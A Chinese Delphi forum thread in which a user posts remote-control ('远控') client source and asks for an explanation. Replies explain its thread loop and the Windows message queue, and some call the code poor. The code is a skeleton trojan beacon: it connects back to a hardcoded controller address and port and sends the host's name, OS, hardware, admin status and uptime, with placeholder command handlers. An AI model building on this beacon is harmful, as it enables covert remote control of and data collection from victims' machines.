帮我解释下这段远控源码的加粗部分!(100)

  • 主题发起人 主题发起人 hksoobe
  • 开始时间 开始时间
H

hksoobe

Unregistered / Unconfirmed
GUEST, unregistred user!
在MYBR看到别人贴的代码正好可以说明我的问题,请会的朋友帮解释下这加粗部分的代码program mininet;uses Windows, Winsock,var Sock:TSocket; Addr:TSockAddrIn; WSA :TWSAData; dns:string; port:integer; bb:dword; msg:tmsg;/////////////////////////////////////////////////////////////////////////////Procedure netr; //主要工作接收信息,//收到为11标志,就发送上线信息,收到22就......收到33.....后面都是你的功能了//11标志要发送的ss内容,改成你的Var Len: Integer; ss:string; Buf: array[0..2047] of Char;Begin Repeat fillchar(Buf,2048,0); Len := Recv(Sock, Buf, 2048, 0); If Len <= 0 Then Break; begin Case strtoint(copy(buf,1,2)) of //上线信息 11: begin //接收:计算机名+IP+系统类型+上线类型+备注信息+ 视频+ping+admin权+分组 ss:='46'+getPC //计算机名 1 +'|'+getos //系统类型 2 +'|'+getnet //网络类型 3 +'|'+'备注' //备注信息 4 +'|'+inttostr(GetCPUSpeed) //CPU频率 5 +'|'+inttostr(GetCpuInfo.PhysicalCore) //CPU数量 6 +'|'+memdx(1) //内存大小 7 +'|'+'100' //ping 8 +'|'+adminy //是否管理员 9 +'|'+GetUptime(); //在线时长 send(sock,ss[1],length(ss),0); //发送上线主机信息 end; 22: begin messagebox(0,'第一个功能','11',0); end; 33: begin //手PING messagebox(0,'第二个功能','11',0); end; {........} end; end; Until 0 = 1;end;Procedure lines; //连接 //winsock最简单模型var ss:string; Beginrepeat //问题在这段 这里是一个死循环程序不结束是在不断执行这段代码的 WSAStartUP($0101,WSA); Sock := Socket(AF_INET,SOCK_STREAM,0); Addr.sin_family := AF_INET; Addr.sin_port := hTons(port); Addr.sin_addr.S_addr :=inet_addr(PChar(dns)); if Connect(Sock, Addr, SizeOf(Addr))=0 then begin //如果连接上发送上线标志,那也就是说,这样当与客户端连接成功后会不停的发送上线标志,如果主机多些那客户端不是忙死了一秒钟一个主机就发送一次上线标志,那么多主机不是客户端要瘫痪了? ss:='okok'; send(Sock,ss[1],2,0); netr; //按收数据 end; closesocket(sock); //这里每次循环连接成功后发送上线标志后做什么又要关了套接呢?这样不是又断了连接了吗?这次每秒钟发送上线标志又关了,有意思吗? WSACleanUP; sleep(1000); until 0>1 ;End;begin dns:='192.168.1.8'; //设定IP port:=strtoint('9090'); //设定上线端口 CreateThread(nil , 0, @lines, nil, 0, bb); while GetMessage(Msg,0,0,0) do //另外这是做什么的啊! begin TranslateMessage(Msg); DispatchMessage(Msg); end;end.[red]请帮我解释下谢谢了![/red]
 
付费么?
 
小周,你的猪养的怎么样了?
 
RMB?????这问题都要RMB的啊!不会吧!求求你们告诉我吧!
 
基础的东西了,高手都不屑回答。我来说一下吧CreateThread(nil , 0, @lines, nil, 0, bb); //创建线程,并在线程内建立了一个死循环来处理数据。不过由于sleep(1000); 这个语句的存在,所以虽然是死循环但不会cpu占用100% while GetMessage(Msg,0,0,0) do //另外这是做什么的啊!这个和下面几句,就是标准的消息循环了,不断的从消息队列取消息,然后分发消息。 begin TranslateMessage(Msg); //翻译消息,记得是处理键盘消息,具体作用可网上查询 DispatchMessage(Msg); //分发消息,把消息分发到句柄相应的处理例程 end;
 
一,窗口1>窗口消息    消息机制:windows中有一个系统消息队列,windows把所有消息收集在系统消息队列中,然后把这些消息送到相应的应用程序消息队列.应用程序用GetMessage读取消息,用DisPatchMessage把消息发到相应的窗口过程.     非排对消息:并不是所有的消息都必须经过应用程序消息队列发给窗口过程.有些消息只影响到单个窗口,系统消息队列会把它直接发送给该窗口.像这样的不经过应用程序消息队列而直接发送到发到相应的窗口过程的消息称为非排对消息.SendMeassge把消息直接发送到相应的窗口过程而不经过应用程序消息队列,并且SendMeassge等待窗口过程的返回(这会产生消息的死锁.--后面会说到).PostMessage把消息送到应用程序消息队列,并且立即返回一个BOOL型的值,用于表示消息是否成功放入应用程序消息队列.例如 WM_PAINT,WM_CREATE消息都是非排对消息. 消息的检查:GetMessage从应用程序消息队列读取消息后,会从应用程序消息队列中删除该消息;PeekMessge从应用程序消息队列读出消息而有不把它从应用程序消息队列中删除.PeekMessge返回一个非零值用于表示指定消息存在于应用程序消息队列,否则返回0。当应用程序消息执行一个长时操作时(如:等待键盘输入),用PeekMessge检查应用程序消息队列中是否有消息存在,如果应用程序消息队列中没有消息,应用程序可以放弃控制,因PeekMessge允许放弃控制。 键盘消息:所有按键都会产生按键消息。应用程序接受到windows发来的按键消息,捕捉成对的WM_KEYDOWN和WM_KEYUP(或WM_SYSKEYDOWN和WM_SYSKEYUP)以及消息中的“分解”键盘消息的消息结构的 wParam 和 lParam 参数中的数据,产生WM_CHAR消息。TranslateMessage实现以上功能。TranslateMessage函数虽然转译所有的消息消息,但只对按键消息起作用。用加速键的应用程序必须先用LoadAccelerators装入资源定义文件中的加速表,然后用TranslateAccelerator把键盘消息翻译成加速键消息。 消息的死锁当应用程序A用SendMeassge向应用程序B发送消息时,如果应用程序B放弃控制,而应用程序A又等待应用程序B的返回(SendMeassge等待B的返回),这是就产生了消息死锁。一般情况下,一个任务中调用SendMeassge向另一个任务发送消息,因为SendMeassge在接收消息的窗口过程返回前不能继续运行,如果接收消息的任务放弃控制,而发送消息的任务又不能继续运行,那么就发生的消息死锁。因此,处理SendMeassge发送来的消息的应用程序不能直接放弃控制,调用下列函数,会使应用程序放弃控制: DialogBox DialogBoxIndirect DialogBoxIndirectParam DialogBoxParam GetMessge MessageBox PeekMessage Yield(我在查找以上函数时,发现有些函数在API View中找不到)在处理消息时,可用InSendMessage函数判断消息是否由SendMessage函数发送。如果InSendMessage函数返回非零,则表示该消息由某个应用程序的SendMessage函数发送。这时,在调用以上所列函数前必须用ReplyMessage应答SendMessage函数。
 
代码很垃!!!
 
代码很垃!!!鉴定完毕!
 
代码现在看来真的很垃圾垃圾到我都看不懂!现在我有自己的想法了,有了自己的源码这个我现在也用不着了!开始给分吧!平分吧!正好五个人一人二十分吧!
 

Similar threads

S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
后退
顶部